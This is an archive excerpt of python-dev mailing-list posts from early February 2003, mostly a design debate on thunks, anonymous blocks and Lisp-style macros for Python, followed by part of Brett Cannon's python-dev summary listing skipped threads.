> easier to use in testing my fix.  If at all possible, it would be nice
> to see some exercise in the 2.3 test chain of this fix, so I am hoping 
> for a reviewer.

I don't know enough about zlib to review your code, but it works fine
on Linux, so if you're confident that it is correct, I can check it
in.  I expect to do another alpha in two or three weeks, so this is
good timing.  The old test suite (which somehow already had the typo
from #640230 fixed) passes with your fix.  Your own test suite fails
on three tests without your fix: test_decompimax,
test_decompressmaxlen, test_manydecompimaxflush; I presume this is
expected.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aleax@aleax.it  Sat Feb  1 19:58:07 2003
From: aleax@aleax.it (Alex Martelli)
Date: Sat, 1 Feb 2003 20:58:07 +0100
Subject: [Python-Dev] Python roadmap
In-Reply-To: <200302011909.h11J9Qf02707@pcp02138704pcs.reston01.va.comcast.net>
References: <Pine.LNX.4.44.0302012111420.5868-100000@rnd.onego.ru> <200302011945.30990.aleax@aleax.it> <200302011909.h11J9Qf02707@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <200302012058.07050.aleax@aleax.it>

On Saturday 01 February 2003 08:09 pm, Guido van Rossum wrote:\
   ...
> BTW, Alex, will you be at PyCon?  If not, will you be at Python UK the
> next week?  If not, at EuroPython?

No, yes, dunno.  Can't make it to PyCon, already scheduled to
speak at PythonUK, don't yet know about Europython in late June.


Alex



From guido@python.org  Sat Feb  1 20:02:51 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 01 Feb 2003 15:02:51 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: "Your message of Sat, 01 Feb 2003 20:45:56 +0100."
 <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
Message-ID: <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>

> > I'm confused.  You & Samuele both sometimes have a rhetorical style
> > that leaves me with no idea of the point you're trying to make.
> >
> > Please say it outright.
> 
> is this the reason why you have not given much feedback on my "rants"?

No, this time your rants were quite clear (at least the second time
around).

I need to have time to read all feedback again and think about it.

> for example do you agree or disagree that it bad to have scoping
> rules for some piece of code that depend on some user code somewhere
> else and that can sometime be quite ambiguous at first glance?  Thus
> the 'class'-like scoping rules case should be syntactically
> distinguishable from the inline-suite-like case?

I haven't made up my mind on that yet.  It appears that the scope of a
block in Ruby is quite ambiguous, yet it seems to work there.

What are the scope rules for blocks passed into method calls in
Smalltalk?

I hope that if this feature is used in a fairly stylized way, where
usually the function used to lead into the block is a well-known
function, the varying scope rules may not be a problem.

Many users have only a vague notion of the difference between a
syntactic construct and a function (witness repeated suggestions here
and elsewhere that confuse these matters), yet nobody has a problem
with understanding the difference in scope rules between 'def' and
'if' statements, for example.  So I hope that learning that some
functions treat a thunk's scope different than others is no huge
burden.

In some Lisps, I believe a function can determine whether its
arguments are evaluated before the call (== normal Python semantics)
or whether they are somehow (I don't know the details!) passed to the
function as parse trees so the function can evaluate them at will.
This does not seem to confuse Lisp users.  Or does it?  I honestly
don't know if this is popular or considered a wart.

I do worry that if my thunks are to be maximally useful, they may end
up having all variables bound through "cells" (as used for nested
scopes) which may give them a reputation of being slow compared to
in-line code, which would limit their popularity for control flow
statements like synchronized().

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sat Feb  1 20:08:55 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 01 Feb 2003 15:08:55 -0500
Subject: [Python-Dev] Re: Extended Function syntax
Message-ID: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net>

I received this from Glyph.  He brings up some interesting use cases
for thunks.  I guess it could be used for "on" style event handler
declarations.  Hmm, you could even craft your own case statement with
his suggestion:

  switch(expr):
    case(val1):
      block1
    case(val2):
      block2
    default:
      block3

This actually makes me worry -- I didn't plan thunks to be the answer
to all problems.  A new idea that could cause a paradigm landslide is
not necessarily right.

--Guido van Rossum (home page: http://www.python.org/~guido/)

------- Forwarded Message

Date:    Sat, 01 Feb 2003 02:39:24 -0600
From:    Glyph Lefkowitz <glyph@twistedmatrix.com>
To:      guido@python.org
Subject: proposed syntax additions ++

- ----Security_Multipart(Sat_Feb__1_02:39:24_2003_152)--
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


I read about your syntax proposal:

    http://mail.python.org/pipermail/python-dev/2003-January/032608.html

+2!!!

I don't have time to marshal my thoughts at the moment (I should really be
sleeping!), but I wanted to get this out to you as soon as I read it.  This is
terrific.  The ability to introduce new blocks without abusing a keyword would
be a godsend for Twisted.  I would like to introduce a section into my
Deferreds paper talking about how this could be used to improve the current
state of affairs wrt long expressions.  It would be particularly nice if the
syntax were able to accomodate namespace modifications before evaluation.  For
example:

    foo.callRemote("testMethod"):
        andThen:
            print result
        orElse(RemoteException):
            print 'HLUARG die mutant'
        orElse(KeyError):
            print 'key not found'

Deferred could easily stuff thunk-generators into the namespace to provide that
prettying-up.  This would of course be shorthand for:

    d = foo.callRemote('testMethod')
    d.addCallback:
        print result
    d.addErrback:
        failure.trap(RemoteException)
        print 'HLUARG die mutant'
    d.addErrback:
        failure.trap(KeyError)
        print 'key not found'

or something very similar.  I think the former is prettier and I could probably
come up with more substantial applications given some thought.  I have some
particularly deferred-heavy prototype code right now that I estimate would be
reduced by half in length with a syntax facility like this.

If you feel this is coherent feel free to forward to python-dev or wherever.

- -- 
 |    <`'>    |  Glyph Lefkowitz: Travelling Sorcerer  |
 |   < _/ >   |  Lead Developer,  the Twisted project  |
 |  < ___/ >  |      http://www.twistedmatrix.com      |

- ----Security_Multipart(Sat_Feb__1_02:39:24_2003_152)--
Content-Type: application/pgp-signature
Content-Transfer-Encoding: 7bit

- -----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQA+O4e8vVGR4uSOE2wRAqoHAKCqe2bCfPE8/k1RFiUQYz79a9qEdwCgjnhL
e38aEc87UTIvWg0PFwh0tgM=
=Daue
- -----END PGP SIGNATURE-----

- ----Security_Multipart(Sat_Feb__1_02:39:24_2003_152)----

------- End of Forwarded Message



From neal@metaslash.com  Sat Feb  1 20:22:03 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Sat, 01 Feb 2003 15:22:03 -0500
Subject: [Python-Dev] Python roadmap
In-Reply-To: <200302011945.30990.aleax@aleax.it>
References: <Pine.LNX.4.44.0302012111420.5868-100000@rnd.onego.ru>
 <200302011833.h11IXfU02364@pcp02138704pcs.reston01.va.comcast.net>
 <200302011945.30990.aleax@aleax.it>
Message-ID: <20030201202202.GC24222@epoch.metaslash.com>

On Sat, Feb 01, 2003 at 07:45:30PM +0100, Alex Martelli wrote:
> On Saturday 01 February 2003 07:33 pm, Guido van Rossum wrote:
>    ...
> > It is sort of against the rules of the language -- the whole point of
> > scoping is that you should be able to define variables even if they
> > block a builtin (that you may never have heard of and don't need) from
> > view.
> >
> > But it would be a great feature of PyChecker (for all I know, it
> > already does this).
> 
> At least in 0.8.12, which I think is the current release, PyChecker
> doesn't diagnose the binding (in global or local scope) of built-in
> names with a warning, no.  But I think you're right that such a
> functionality would belong there.

Alex is correct on all counts. It is easy enough to add, so I'll
implement it.

Neal


From pedronis@bluewin.ch  Sat Feb  1 20:38:11 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sat, 1 Feb 2003 21:38:11 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <059501c2ca31$d6581420$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> > > I'm confused.  You & Samuele both sometimes have a rhetorical style
> > > that leaves me with no idea of the point you're trying to make.
> > >
> > > Please say it outright.
> >
> > is this the reason why you have not given much feedback on my "rants"?
>
> No, this time your rants were quite clear (at least the second time
> around).
>
> I need to have time to read all feedback again and think about it.
>
> > for example do you agree or disagree that it bad to have scoping
> > rules for some piece of code that depend on some user code somewhere
> > else and that can sometime be quite ambiguous at first glance?  Thus
> > the 'class'-like scoping rules case should be syntactically
> > distinguishable from the inline-suite-like case?
>
> I haven't made up my mind on that yet.  It appears that the scope of a
> block in Ruby is quite ambiguous, yet it seems to work there.
>
> What are the scope rules for blocks passed into method calls in
> Smalltalk?

they are not ambiguous in the sense we are referring here:

def f():
  x=3
  foo:
    x=4 # new x or old x?

> In some Lisps, I believe a function can determine whether its
> arguments are evaluated before the call (== normal Python semantics)
> or whether they are somehow (I don't know the details!) passed to the
> function as parse trees so the function can evaluate them at will.
> This does not seem to confuse Lisp users.  Or does it?  I honestly
> don't know if this is popular or considered a wart.

evolutive ancestors of macros, now they have been substituted with macros, CL
and Scheme do not have them.

> I do worry that if my thunks are to be maximally useful, they may end
> up having all variables bound through "cells" (as used for nested
> scopes) which may give them a reputation of being slow compared to
> in-line code, which would limit their popularity for control flow
> statements like synchronized().

yes, that worries me to,  it seems at least a likely source of recurring
comp.lang.python threads



From pedronis@bluewin.ch  Sat Feb  1 20:52:25 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sat, 1 Feb 2003 21:52:25 +0100
Subject: [Python-Dev] Re: Extended Function syntax
References: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <05d501c2ca33$d36d6560$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> I received this from Glyph.  He brings up some interesting use cases
> for thunks.  I guess it could be used for "on" style event handler
> declarations.  Hmm, you could even craft your own case statement with
> his suggestion:
>
>   switch(expr):
>     case(val1):
>       block1
>     case(val2):
>       block2
>     default:
>       block3
>
> This actually makes me worry -- I didn't plan thunks to be the answer
> to all problems.  A new idea that could cause a paradigm landslide is
> not necessarily right.

I don't exactly get how containment relationships are disambiguated at
compilation time?

for sure this is bordering macros' expressivity




From pedronis@bluewin.ch  Sat Feb  1 21:44:27 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sat, 1 Feb 2003 22:44:27 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico>
Message-ID: <065d01c2ca3b$185ca080$6d94fea9@newmexico>

From: "Samuele Pedroni" <pedronis@bluewin.ch>
 > > I do worry that if my thunks are to be maximally useful, they may end
> > up having all variables bound through "cells" (as used for nested
> > scopes) which may give them a reputation of being slow compared to
> > in-line code, which would limit their popularity for control flow
> > statements like synchronized().
>
> yes, that worries me to,  it seems at least a likely source of recurring
> comp.lang.python threads

'with' syntax does not share the problem, because it is just syntax-sugar for a
try-finally, not involving thunks.

Repeating myself, unless one considers the most extreme proposals that border
macros, thunks [smalltalk-ish anonymous blocks] are quite a non-orthogonal
addition for a language already with functions and closures, generators and
'for'.

[I leave aside generalizing 'class', which is something useful but not about
control-flow statements and for me a separate problem]

Much of what:

do beh(args): (x,...):
  suite

can do, can be done already with

for x,.. in behgen(args): # behgen is a generator that yields where beh would
invoke the thunk
  suite

What is not covered is:

1) the case where the thunk passes back some result on invocation by beh using
the proposed 'value' direct-to-caller-return statement.
2) the case where beh returns a  useful value
    do e = beh(args): (x,...):
      suite

Both could be adressed with the following similar syntax-sugar but that defines
a usual function instead of a thunk:

fdo [e=] beh(args): [(x,...):]
   suite # can contain return

would be sugar for (or something similar):

def <anonymous>(x,...):
  suite
[e = ] beh(args)(<anonymous>)

In this case we don't need to devise new rules for what
'break','continue','return' do in the suite. The suite is just the body of an
anonymous function, 'return' has the usual meaning for a function in there. No
new concept and rules would be added to the language.

Obviously the suite cannot rebind locals in the surrounding function. Given the
functional flavor of the construct especially if there's an assigmnent e = or
beh uses values produced by the suite, this can be considered a feature.

The addition of 'with' and 'for' plus generators would cover the other cases!

OTOH what 'return' does in the suite and the fact that the suite is not an
inline suite can be ambigous at first glance. It is for sure a kind of wart.
But this would counterbalance the problem of defining/implementing thunks, and
what 'break','continue','return' would do exactly in them, and the necessity to
add 'value' to get full expressivity for thunks.



From andrew@indranet.co.nz  Sat Feb  1 21:56:29 2003
From: andrew@indranet.co.nz (Andrew McGregor)
Date: Sun, 02 Feb 2003 10:56:29 +1300
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
 <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <4218270000.1044136589@localhost.localdomain>

--==========1605285482==========
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline



--On Saturday, February 01, 2003 15:02:51 -0500 Guido van Rossum=20
<guido@python.org> wrote:


> Many users have only a vague notion of the difference between a
> syntactic construct and a function (witness repeated suggestions here
> and elsewhere that confuse these matters), yet nobody has a problem
> with understanding the difference in scope rules between 'def' and
> 'if' statements, for example.  So I hope that learning that some
> functions treat a thunk's scope different than others is no huge
> burden.

I think it's not a burden, and in fact the ability to make such things=20
would be very useful.  I've come up with a few examples below.

> In some Lisps, I believe a function can determine whether its
> arguments are evaluated before the call (=3D=3D normal Python semantics)
> or whether they are somehow (I don't know the details!) passed to the
> function as parse trees so the function can evaluate them at will.
> This does not seem to confuse Lisp users.  Or does it?  I honestly
> don't know if this is popular or considered a wart.

It's fundamental.  Lisp syntax is almost exactly a representation of the=20
parser output; lisps basically don't have a parser, up to syntactic sugar.=20
So a macro definition can specify in its definition which arguments are=20
passed evaluated or unevaluated (in some lisps, this is done by explicity=20
evaluating the appropriate arguments; elisp is one such).  The difference=20
between macros and functions comes down to if arguments are evaluated or=20
not.

Lots of ordinary, standard lisp idiom is implemented this way, even such=20
things as 'let', which is the local variable binder and even sometimes=20
'defun', which is the function definer.

For example, in xemacs elisp syntax for simplicity, meaning all macro=20
arguments are passed unevaluated, defun is approximately defined as (up to=20
the docstring handling):

(defmacro defun (name arglist &optional docstring &rest body)
  (quote (setf name (function (lambda arglist . body))))
  ; return code to set the docstring here
  )

which has an effect essentially identical to python's 'def' keyword.  The=20
return value of the macro (and what is actually compiled) is

(setf name (function (lambda arglist . body)))

(substituting the passed in arguments) which when executed binds name to=20
the compiled version of the lambda.

So if we then do:

(defun inc (a)
  (add 1 a))

it compiles as if it were:

(setf 'inc (function (lambda (a) . ((add 1 a))))))

For a really huge demonstration of what lisp macros can do, see advice.el=20
from an emacs distribution.  It's a good example because it's extremely=20
well commented, and some of the comments show the downsides of macros as=20
well.

> I do worry that if my thunks are to be maximally useful, they may end
> up having all variables bound through "cells" (as used for nested
> scopes) which may give them a reputation of being slow compared to
> in-line code, which would limit their popularity for control flow
> statements like synchronized().
>
> --Guido van Rossum (home page: http://www.python.org/~guido/)

Well, they could be treated like lisp macros, that is as source code (or,=20
potentially, parse tree) transformation functions, and compiled just like=20
any other code.  This would probably be the simplest to implement, and=20
would allow such things to work with no slowdown at all.

For example, presuming python had a defmacro that took all arguments=20
unevaluated and can return a block, that @block introduces a block=20
argument, and that interpolate(block) compiles the block instead of itself, =

we could have:

defmacro synchronized(lck, @block):
    return:
        lck.acquire()
        try:
            interpolate(block)
        finally:
            lck.release()

synchronized(lock):
    # text of block here
    pass

which compiles identically to:

lck.acquire()
try:
    # text of block here
    pass
finally:
    lck.release()

Then:

defmacro property(name, docstring, @get, @set, @delete):
    def getter interpolate(get.arglist):
        interpolate(get.block)
    def setter interpolate(set.arglist):
        interpolate(set.block)
    def deleter interpolate(delete.arglist):
        interpolate(delete.block)
    return:
        name =3D property(docstring, getter, setter, deleter)

class Circle(object):
   property circumference, """Circumference of the circle""":
       get (self):
           return self.radius*6.283
       set (self, value):
           self.radius =3D value/6.283
       delete (self):
           del self.radius

would do the obvious thing using block keyword arguments (I can't think how =

to express the anonymous scope implied here in regular Python; the=20
intention is that getter and friends are defined in the local namespace of=20
the macro invocation).

Of course the proposed syntax is hypothetical, but I think it's quite =
clean.

Andrew


    
--==========1605285482==========
Content-Type: application/pgp-signature
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE+PEKNHamGxvX4LwIRAon5AJ9bWwgsr+kmbyThK9Fd2hlrMBzWlACgxMW/
WsHNN+4wPAoRgM52G/ctD70=
=KiOp
-----END PGP SIGNATURE-----

--==========1605285482==========--



From aahz@pythoncraft.com  Sat Feb  1 22:41:54 2003
From: aahz@pythoncraft.com (Aahz)
Date: Sat, 1 Feb 2003 17:41:54 -0500
Subject: [Python-Dev] Re: Extended Function syntax
In-Reply-To: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net>
References: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030201224154.GA22675@panix.com>

On Sat, Feb 01, 2003, Guido van Rossum wrote:
>
> I received this from Glyph.  He brings up some interesting use cases
> for thunks.  I guess it could be used for "on" style event handler
> declarations.  Hmm, you could even craft your own case statement with
> his suggestion:
> 
>   switch(expr):
>     case(val1):
>       block1
>     case(val2):
>       block2
>     default:
>       block3
> 
> This actually makes me worry -- I didn't plan thunks to be the answer
> to all problems.  A new idea that could cause a paradigm landslide is
> not necessarily right.

That's why I made my lambda joke earlier, and why I've been pushing for
thunk types at the syntactic level.  I think we do need a generalizable
thunk from the POV of the Python internals, but I don't think we should
expose that mechanism to the language itself, except through specific
keywords or pseudo-keywords.  Using "as" with pseudo-keywords gives the
best of all worlds, I think, and allowing the [] notation to operate on
a thunk gives a fair amount of flexibility without permitting baroque
syntactic forms.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From arigo@tunes.org  Sat Feb  1 22:48:46 2003
From: arigo@tunes.org (Armin Rigo)
Date: Sat,  1 Feb 2003 14:48:46 -0800 (PST)
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Sat, Feb 01, 2003 at 01:29:12PM -0500
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030201224846.261712C61@bespin.org>

Hello Guido,

On Sat, Feb 01, 2003 at 01:29:12PM -0500, Guido van Rossum wrote:
> > >   v = e:
> > >      S
> 
> [Armin]
> > Just to throw more oil on the fire, note that this looks quite a lot like
> > 
> >     for v in e:
> >         S

Sorry, I forgot one step.  I was first thinking about a new 'with' keyword
inspired by an old proposal seen in this list:

   with v in e:
      S

and then realized that the magic necessary for such a 'with' statement (and
thus for "v=e: S") was close to the magic of 'for', in the sense that it
invokes magic methods of 'e' and bind the result to the variable 'v'.  I was
saying that it might be possible to extend the semantics of 'for' to cover
that case too.

Well, in the meantime I've seen Greg's suggestion "def ... as expr:", which I
find much nicer in general.  I am all for it.  The only risk I see is the
temptation to abuse its power for control flow, as it would allow

   def _ as run_synchronized(lock):
     ...

This temptation looks similar to the abuse of the 'class' keyword to use the
metaclass mecanism with concepts unrelated to classes.  In other words, let's
be careful before adding powerful features with associated syntax...

If I may attempt a summary, given all the use cases that have been expressed
in this thread, we could have a need for constructions whose associated code
block is either (1) run immediately or (2) passed unexecuted to some
constructor; and whose variables are (a) in their own namespace or (b) in the
parent namespace.  Currently we have 'class' (1a) and, althought currently a
bit limited in post-processing facilities, 'def' (2a).  I've shown contrived
examples of (2b) using 'for'.  The question is whether we want something
generic enough for all four possible combinations or not, and whether they
should still be statically distinguishable or not.

If they should not, then the 'thunk' approach is fine, given a way to execute
a thunk in its original namespace.  This is a well-known approach in
block-oriented languages, but I agree with Samuele that this can be much
confusing and for some reason I dislike this programming style.  Maybe the
reason is that Python has a pseudo-declarative look & feel that is
incompatible with direct manipulation of control flow.  Such a feature would
make the life impossible for source-processing utilities like code checkers.

But if we want the four cases to be statically distinguisable, then we might
be bound to add various unrelated syntax extensions at several places, all of
which might come with an associated original use case that makes the syntax
look like a hack for radically different uses (like Just's nice
metaclass-based definition of properties).


A bientôt,

Armin.



From brett@python.org  Sat Feb  1 23:21:47 2003
From: brett@python.org (Brett Cannon)
Date: Sat, 1 Feb 2003 15:21:47 -0800 (PST)
Subject: [Python-Dev] python-dev Summary for 2003-01-16 through 2003-01-31
Message-ID: <Pine.SOL.4.53.0302011503540.2313@death.OCF.Berkeley.EDU>

Well, my brain didn't pop from the extended syntax thread, so I am happy.
=)  Why did you guys have to have such a major discussion at the end of
the month (and have an explosion of big emails right at the end no less!)?
And of course I decide to try to introduce something new in this summary
that upped my workload.  Lucky me.  =)  OK, enough complaining (oh wait, I
don't get paid for this; I guess I can complain  =).

Since this is coming out on a weekend I am not going to post this to the
general public until Monday night to give everyone a chance to read this
if they ignore their mail until weekdays.

And as a reminder, my mail client (Pine) strips out the non-ASCII text so
if you expect an umlaut to be somewhere and there is nothing, don't worry
since it is in the original.

------------------------------------

+++++++++++++++++++++++++++++++++++++++++++++++++++++
python-dev Summary for 2003-01-15 through 2003-01-31
+++++++++++++++++++++++++++++++++++++++++++++++++++++

======================
Summary Announcements
======================

To make the Summaries more thorough I have decided to make a list of
threads that I have decided not to summarize and give my reasoning behind
why I decided to skip it which should also explain what the thread is
about.  I doubt anyone will have complaints about doing this, but if you
do let me know.

Some PyCon_ announcements to make.  Registration is scheduled to start
next week.  Also, the list of accepted papers is expected to be announced
on-time.

A belated happy birthday wish goes out to Guido.  His birthday occured at
some point during the time this summary covered (and no, I am not going to
give you an exact date).

.. _PyCon: http://www.python.org/pycon/

================
Skipped threads
================

`test_logging failing on Windows 2000
<http://mail.python.org/pipermail/python-dev/2003-January/032191.html>`__
	Since it dealt with a bug that received a patch I didn't worry
about it.

`PyConDC sprints
<http://mail.python.org/pipermail/python-dev/2003-January/032216.html>`__
	Meant for the people on python-dev directly, so no point in
telling the general community about it.

`String method: longest common prefix of two strings
<http://mail.python.org/pipermail/python-dev/2003-January/032228.html>`__
	Didn't go anywhere; Guido said he doesn't want to add every useful
thing as a string method since there are already so many.

`very slow compare of recursive objects
<http://mail.python.org/pipermail/python-dev/2003-January/032234.html>`__
	Discussed a patch about recursive compares.  Basically led to no
change and dealt with how to make a tuple recursive.

`test_email always supposed to be skipped?
<http://mail.python.org/pipermail/python-dev/2003-January/032240.html>`__
	Glitch in Makefile.pre.in which got fixed.

`extending readline functionality (patch)
<http://mail.python.org/pipermail/python-dev/2003-January/032449.html>`__
	Someone sending a patch directly to python-dev; big no-no!  Use
SourceForge_ for any all patches.

`Re: [Python-checkins] python/dist/src Makefile.pre.in,1.111,1.112
<http://mail.python.org/pipermail/python-dev/2003-January/032284.html>`__
	No one ever responded to the email; problem was probably solved.

`Cookie.py too strict
<http://mail.python.org/pipermail/python-dev/2003-January/032313.html>`__
	Barry Warsaw wanted to make the Cookie_ module less strict in
acceptance.  Michael Chermside suggested adding an argument to be able to
specify whether the acceptance of data should be strict or not.

`HTMLParser patches
<http://mail.python.org/pipermail/python-dev/2003-January/032469.html>`__
	Mentions two patches for HTMLParser_ to fix some parsing problems.

`Name space pollution (fwd)
<http://mail.python.org/pipermail/python-dev/2003-January/032355.html>`__
	Someone on `c.l.py`_ didn't like the naming of a function
``destructor`` in the core because it is such a common name and thus can
clash with other code.  Guido said submit a patch or use some ``#define``
tricks.

`logging package -- spurious package contents
<http://mail.python.org/pipermail/python-dev/2003-January/032373.html>`__
	Guido didn't like the config file for the logging_ package nor the
extra handlers.  It was agreed to ditch the config file but keep the
handlers.

`logging package -- documentation
<http://mail.python.org/pipermail/python-dev/2003-January/032415.html>`__
	Better docs for the logging_ package were uploaded and are ready
to be applied.

`Re: [Zope3-dev] PosixTimeZone tzinfo implementation
<http://mail.python.org/pipermail/python-dev/2003-January/032374.html>`__
	Single email mentioning the tm_gmtoff attribute of the datetime
type.

`test_ossaudiodev hangs
<http://mail.python.org/pipermail/python-dev/2003-January/032388.html>`__
	The ossaudiodev_ module was hanging in tests.  It has been
disabled in `setup.py`_.

`Looking for a Windows bsddb fan
<http://mail.python.org/pipermail/python-dev/2003-January/032400.html>`__
	Tim Peters upgraded the Windows distribution to berkeleydb 4.1.25;
doing so caused a huge amount of test failures.  Turned out they were race
conditions in the tests inherit in such complicated tests.

`Extension modules, Threading, and the GIL
<http://mail.python.org/pipermail/python-dev/2003-January/032429.html>`__
	Mention of how the GIL puts a cramp into writing PyGTK_.  This
thread started last month (
http://www.python.org/dev/summary/2003-01-01_2003-01-15.html#extension-modules-threading-and-the-gil
).

`the new 2.3a1 settimeout() with httplib and SSL
<http://mail.python.org/pipermail/python-dev/2003-January/032417.html>`__
	There was a problem with the new timeout mechanism in socket_ and
SSL.  There is a a patch at http://www.python.org/sf/676472 to fix the
problem.

`non-blocking sockets and sendall
<http://mail.python.org/pipermail/python-dev/2003-January/032457.html>`__
	Brian Ellin noticed that ``socket.sendall()`` and non-blocking
sockets don't work together.

`Re: [Python-checkins] python/dist/src/Lib/bsddb dbshelve.py,1.4,1.4.4.1
<http://mail.python.org/pipermail/python-dev/2003-January/032477.html>`__
	Skip Montanaro asking whether bsddb185 should become "a fallback
to the fallback".

`xmlparse.c no longer compiles on Windows
<http://mail.python.org/pipermail/python-dev/2003-January/032428.html>`__
	Tim Peters discovered `xmlparse.c`_ had some #define lines for the
non-existent case of no ``memmove()`` function.

`fixing traceback.extract_stack() line numbers
<http://mail.python.org/pipermail/python-dev/2003-January/032506.html>`__
	Greg Klanderman noticed that ``traceback.extract_stack()`` only
gives the first line of the method and not of the actual line that caused
an issue.

`python2.3 on m68k-nommu uClinux, really slow
<http://mail.python.org/pipermail/python-dev/2003-January/032511.html>`__
	Brad Clements got Python working on an m68k processor and
performance was horrible.  He asked if anyone had any ideas on how to
speed it up.

`native code compiler? (or, OCaml vs. Python)
<http://mail.python.org/pipermail/python-dev/2003-January/032519.html>`__
	Someone asked if Python was ever going to have a native code
compiler.  The answer is "if you want to write one" and to ask the
question nicely.  It also became a debate over how difficult a native code
compiler would be.

`Re: RHSA-2002:202-25
<http://mail.python.org/pipermail/python-dev/2003-January/032525.html>`__
	Skip Montanaro sent an email about a security hole found in
``os.exec*p()`` method that was patched back in August.  It has
subsequently been back-patched to 2.1.

`map, filter, reduce, lambda
<http://mail.python.org/pipermail/python-dev/2003-January/032587.html>`__
	Andrew Koenig commenting on the discussion from the `last
summary`_.

`Global interpreter lock/import mechanism
<http://mail.python.org/pipermail/python-dev/2003-January/032543.html>`__
	Joerg Budischewski asked some questions about the proper way of
doing some things in a C extension.

`Should Cygwin Python use --enable-runtime-pseudo-reloc?
<http://mail.python.org/pipermail/python-dev/2003-January/032544.html>`__
	Title of this thread makes what it is about obvious.

`New PEP 306 needs proof reading.
<http://mail.python.org/pipermail/python-dev/2003-January/032549.html>`__
	Another thread whose content is obvious by the title.

`StringIO not an iterator?
<http://mail.python.org/pipermail/python-dev/2003-January/032605.html>`__
	Misunderstanding initially.  Guido then suggested that
(c?)StringIO become its own iterator which became a bug report.

`SF patch #677429 (PEP293 callbacks)
<http://mail.python.org/pipermail/python-dev/2003-January/032638.html>`__
	Walter Drwald asking for someone to look over a patch since Martin
v. Lwis in on vacation (and this explains why I have not been bringing up
the character palette so much in this summary for inserting umlauts =).

`rexec/bastion
<http://mail.python.org/pipermail/python-dev/2003-February/032685.html>`__
	Someone asking an improper question on the list (Mailman lists
this in February, but I am on Pacific time so I say it is in January  =).

`PEP 42:  sizeof(obj) builtin
<http://mail.python.org/pipermail/python-dev/2003-January/032597.html>`__
	Raymond Hettinger asked if people still wanted ``sizeof()`` in
Python.  One person said yes.

`PEP 305 - CSV File API
<http://mail.python.org/pipermail/python-dev/2003-January/032678.html>`__
	"A new PEP (305), "CSV File API", is available for reader
feedback".

`New version of PEP 304
<http://mail.python.org/pipermail/python-dev/2003-January/032654.html>`__
	A new version of PEP 304 is up.

`import.c:load_source_module() confusion
<http://mail.python.org/pipermail/python-dev/2003-January/032635.html>`__
	Skip Montanaro had a question about returning when a possible
error was signalled on an import.

.. _SourceForge: http://www.sf.net/projects/python
.. _Cookie: http://www.python.org/dev/doc/devel/lib/module-Cookie.html
.. _c.l.py:
http://groups.google.com/groups?q=comp.lang.python&ie=ISO-8859-1&hl=en&btnG=Google+Search
.. _ossaudiodev:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Modules/ossaudiodev.c
.. _setup.py:
